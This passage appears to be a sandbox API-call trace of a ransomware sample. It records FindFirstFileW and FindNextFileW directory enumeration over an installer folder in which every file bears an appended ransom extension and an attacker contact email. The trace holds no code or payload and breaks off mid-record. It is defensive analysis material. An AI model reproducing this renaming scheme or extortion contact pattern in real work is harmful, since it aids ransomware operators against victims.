ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0488 [0223.433] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.433] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9dd6a7f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9dd6a7f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9dd6a7f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARAME~1.LOV")) returned 1 [0223.433] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9dfcca2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9dfcca2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa44bb9d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 1 [0223.433] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9dfcca2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9dfcca2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa44bb9d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 0 [0223.433] FindClose (in: hFindFile=0x6d0488 | out: hFindFile=0x6d0488) returned 1 [0223.435] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.435] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Graphics", cAlternateFileName="")) returned 1 [0223.435] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.435] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.438] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.438] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82b7e13, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82b7e13, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82b7e13, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Print.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PRINTI~1.LOV")) returned 1 [0223.439] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82de0e2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82de0e2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa8304252, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Rotate1.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROTATE~1.LOV")) returned 1 [0223.439] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa8304252, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa8304252, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa8304252, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Rotate2.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROTATE~2.LOV")) returned 1 [0223.439] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa832c14d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa832c14d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa8756544, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Rotate3.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROTATE~3.LOV")) returned 1 [0223.439] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa94998a6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa94998a6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa94998a6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Rotate4.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROC5E8~1.LOV")) returned 1 [0223.439] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa995e792, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa995e792, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9adbad6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Rotate5.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="RO3D09~1.LOV")) returned 1 [0223.439] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9473556, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9473556, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9473556, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Rotate6.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROTATE~4.LOV")) returned 1 [0223.440] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9473556, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9473556, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa94bf93e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Rotate7.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROD47F~1.LOV")) returned 1 [0223.440] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa94bf93e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa94bf93e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa94e5cfa, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Rotate8.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROA8AA~1.LOV")) returned 1 [0223.440] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa94bf93e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa94bf93e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa950bda2, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Save.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SAVEIC~1.LOV")) returned 1 [0223.440] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa94e5cfa, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa94e5cfa, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa99fd8b1, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="Setup.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPI~1.LOV")) returned 1 [0223.440] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa950bda2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa950bda2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9a1cda9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="stop.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="STOPIC~1.LOV")) returned 1 [0223.440] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa99845fa, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa99845fa, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa99845fa, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SysReqMet.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SYSREQ~1.LOV")) returned 1 [0223.441] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa99ad45e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa99ad45e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa99fd8b1, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SysReqNotMet.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SYSREQ~2.LOV")) returned 1 [0223.441] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9bf6242, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9bf6242, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9c0cd8c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="warn.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WARNIC~1.LOV")) returned 1 [0223.441] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9bf6242, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9bf6242, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9c0cd8c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="warn.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WARNIC~1.LOV")) returned 0 [0223.441] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.442] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.442] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9ee7633, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9ee7633, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ee7633, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="header.bmp.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="HEADER~1.LOV")) returned 1 [0223.443] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xac627335, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="netfx_Core.mzz.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NETFX_~1.LOV")) returned 1 [0223.443] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xab03fbfa, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="netfx_Core_x64.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NETFX_~2.LOV")) returned 1 [0223.443] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9b4e153, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9b4e153, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa31a878, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="netfx_Core_x86.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NETFX_~3.LOV")) returned 1 [0223.515] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xaff554e9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="netfx_Extended.mzz.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NETFX_~4.LOV")) returned 1 [0223.515] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa6ae05b, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa6ae05b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa92fb2d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="netfx_Extended_x64.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NEFFC2~1.LOV")) returned 1 [0223.515] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa9a2121, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa9a2121, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaaa961a9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="netfx_Extended_x86.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NE61F3~1.LOV")) returned 1 [0223.515] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9f07c92, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9f07c92, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa4257f8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="ParameterInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARAME~1.LOV")) returned 1 [0223.515] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaac86109, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaac86109, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaad6aefd, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="RGB9RAST_x64.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="RGB9RA~1.LOV")) returned 1 [0223.515] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaad91033, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaad91033, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaae03800, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="RGB9Rast_x86.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="RGB9RA~2.LOV")) returned 1 [0223.515] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaae03800, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaae03800, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab196f7c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Setup.exe.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPE~1.LOV")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab03fbfa, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xab03fbfa, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab31481f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="SetupEngine.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPE~2.LOV")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab1bd37c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xab1bd37c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab2098e3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="SetupUi.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPU~2.LOV")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9facd9f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9facd9f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa092042, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="SetupUi.xsd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPU~1.LOV")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab681c15, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xab681c15, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab7d91ce, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="SetupUtility.exe.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPU~3.LOV")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa0b8390, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa0b8390, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa1045ed, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="SplashScreen.bmp.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SPLASH~1.LOV")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab6f456d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xab6f456d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab6f456d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="sqmapi.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SQMAPI~1.LOV")) returned 1 [0223.517] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa472c96, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa472c96, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa497ec7, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Strings.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="STRING~1.LOV")) returned 1 [0223.517] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa472c96, 